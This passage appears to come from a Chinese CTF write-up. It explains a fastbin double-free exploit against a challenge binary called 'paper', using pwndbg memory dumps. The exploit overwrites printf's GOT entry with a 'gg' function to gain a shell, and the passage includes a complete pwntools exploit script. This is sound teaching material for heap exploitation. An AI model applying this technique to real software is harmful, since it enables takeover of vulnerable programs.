0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140: 0x0000000000000000 0x0000000000000000
0x602150: 0x0000000000000000 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
0x602190: 0x0000000000000000 0x0000000000000000
0x6021a0: 0x0000000000000000 0x0000000000000000

释放创建的chunk

接下来使用fastbin的特性来利用fastbin_double_free。依此释放chunk1,chunk2,chun1。

image-20230726163907841

释放后,fastbin中链表情况是这样的,因为调试崩了一次(重新调试了),所以地址跟刚才不同。

所以此时的fastbin链表是这样的:

main_arena->chunk1->chunk2->chunk1

回顾之前的结构图:

image-20230726111001678

这样就创建了一个fastbin单向循环链表。

注意,由于UAF漏洞的存在,指向chunk_data的指针仍然存在。

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x6020c0
0x6020c0 <link_list>: 0x0000000000000000 0x0000000002015020
0x6020d0 <link_list+16>: 0x0000000002015060 0x0000000000000000
0x6020e0 <link_list+32>: 0x0000000000000000 0x0000000000000000
0x6020f0 <link_list+48>: 0x0000000000000000 0x0000000000000000
0x602100 <link_list+64>: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000

再次创建一个chunk

再次创建一个chunk,它的大小与之前相同,为0x30。内容为0x60202a。为什么是0x60202a,稍后会进行解答。

1
add_paper(0x30,1,p64(0x60202a))

这行代码执行完之后的内存状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/30gx 0xa87010
0xa87010: 0x0000000000000000 0x0000000000000041 #chunk1(used)
0xa87020: 0x000000000060202a 0x0000000000000000
0xa87030: 0x0000000000000000 0x0000000000000000
0xa87040: 0x0000000000000000 0x0000000000000000
0xa87050: 0x0000000000000000 0x0000000000000041 #chunk2(free)
0xa87060: 0x0000000000a80031 0x0000000000000000
0xa87070: 0x0000000000000000 0x0000000000000000
0xa87080: 0x0000000000000000 0x0000000000000000
0xa87090: 0x0000000000000000 0x0000000000020f71 #top_chunk
0xa870a0: 0x0000000000000000 0x0000000000000000
0xa870b0: 0x0000000000000000 0x0000000000000000
0xa870c0: 0x0000000000000000 0x0000000000000000
0xa870d0: 0x0000000000000000 0x0000000000000000
0xa870e0: 0x0000000000000000 0x0000000000000000
0xa870f0: 0x0000000000000000 0x0000000000000000

从内存区域可以看到chunk1的fd指针已经改为了0x60202a。这个地址是属于程序的_got_plt区域。

总结一下:

在malloc之前:

image-20230726172453023

在malloc之后:

main_arena->chunk2->chunk1->0x60202a

可以看到,再重新申请之后,指向新堆块的指针还是第一次malloc的地址。

再次申请三个堆块

申请两个堆块之后,fastbin应该变成: main_arena->0x60202a,这时再次申请第三个堆块,这时程序就可以控制了0x60202a地址。

修改.got.plt地址

首先看一下修改之前的0x602000内存区域:image-20230726172756962

payload:

1
payload = "\x40\x00\x00\x00\x00\x00"+p64(elf.sym['gg'])

执行完payload之后:

image-20230726173002954

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/30gx 0x602000
0x602000: 0x0000000000601e28 0x00007f68222a8168
0x602010: 0x00007f6822098e40 0x00007f6821d3b540
0x602020 <puts@got.plt>: 0x00007f6821d266a0 0x00007f6821d251b0
#prev_size
0x602030 <__stack_chk_fail@got.plt>: 0x0000000000400746 0x0000000000400756
#size #malloc_data_start
#__stack_chk__fail@got.plt #system@got.plt
0x602040 <printf@got.plt>: 0x0000000000400943 0x00007f6821cd7700
#gg函数 #这个地址内容改动不重要(__libc_start_main)
#<printf@got.plt>: exe0007feb0948d810 ex00007feb09458750 ( payload执行之前)
0x602050 <__gmon_start__@got.plt>: 0x0000000000400786 0x00007f6821cf23d0
0x602060 <malloc@got.plt>: 0x00007f6821d3b180 0x00007f6821d26e80
0x602070 <__isoc99_scanf@got.plt>: 0x00007f6821d224e0 0x00000000004007d6
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000
0x6020a0 <stdout@@GLIBC_2.2.5>: 0x00007f682207c620 0x00007f682207b8e0
0x6020b0 <completed.6973>: 0x0000000000000000 0x0000000000000000
0x6020c0 <link_list>: 0x0000000000000000 0x0000000001cd1020
0x6020d0 <link_list+16>: 0x0000000001cd1060 0x0000000001cd1020
0x6020e0 <link_list+32>: 0x000000000060203a 0x0000000000000000

在payload中我们采用了0x60202a为fd,由堆的结构我们可以控制0x60203a处。payload中的“\x40\x00\x00x00\x00\x00”是为了防止system地址被破坏,printf@got.plt被覆盖为gg()地址。

然后在程序中随便输入个字符让程序打印出“”%s input is not start with number!\n””就可以触发printf即可getshell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import*
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')


sh = process('./paper')
elf = ELF('./paper')

def add_paper(size,index,content):
sh.recv()
sh.sendline("1")
sh.recv()
sh.sendline(str(index))
sh.recv()
sh.sendline(str(size))
sh.recv()
sh.sendline(content)

def delete_paper(index):
sh.recv()
sh.sendline("2")
sh.recv()
sh.sendline(str(index))


add_paper(0x30,1,"paper1")
add_paper(0x30,2,"paper2")
#gdb.attach(sh)
delete_paper(1)
delete_paper(2)
delete_paper(1)
#gdb.attach(sh)

add_paper(0x30,1,p64(0x60202a))

#gdb.attach(sh)

add_paper(0x30,2,"1")
add_paper(0x30,3,"2")
#gdb.attach(sh)
payload = "\x40\x00\x00\x00\x00\x00"+p64(elf.sym['gg'])

add_paper(0x30,4,payload)
gdb.attach(sh)
#gdb.attach(sh)
sh.recv()
sh.sendline("a")
sh.interactive()

参考资料

1
2
3
4
5
https://www.yuque.com/cyberangel/rg9gdm/tgis8x
附件:
链接:https://pan.baidu.com/s/1MxrBSyWplPmpQpo1_kxVbw
提取码:72mj
--来自百度网盘超级会员V3的分享